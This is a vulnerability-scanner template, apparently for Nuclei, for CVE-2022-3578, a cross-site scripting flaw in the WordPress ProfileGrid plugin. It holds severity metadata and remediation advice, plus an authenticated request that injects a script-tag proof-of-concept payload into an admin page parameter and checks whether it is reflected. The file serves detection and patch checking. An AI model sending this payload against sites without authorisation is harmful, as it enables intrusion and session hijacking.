id: CVE-2022-3578

info:
  name: WordPress ProfileGrid <5.1.1 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress ProfileGrid plugin prior to 5.1.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update WordPress ProfileGrid to version 5.1.1 or later to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/17596b0e-ff45-4d0c-8e57-a31101e30345
    - https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3578
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3578
    cwe-id: CWE-79
    epss-score: 0.00946
    epss-percentile: 0.56444
    cpe: cpe:2.3:a:metagauss:profilegrid:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: metagauss
    product: profilegrid
    framework: wordpress
  tags: cve,cve2022,wp-plugin,wordpress,wpscan,wp,xss,profilegrid,authenticated,metagauss,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=pm_add_group&id="><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
          - 'contains(body_2, "Extension Options")'
          - 'contains(body_2, "<script>alert(document.domain)</script>&tab")'
        condition: and
# digest: 4b0a00483046022100ded73c951bd00b07f73d7dcb637b0f4fb3a27107b68341fbc004dff820dd0f300221009b5400d7bfcfd5f702cc1fc9aeb2c5f22652d1db9f7cb948e06cd591dd32c7c1:922c64590222798bb761d5b6d8e72950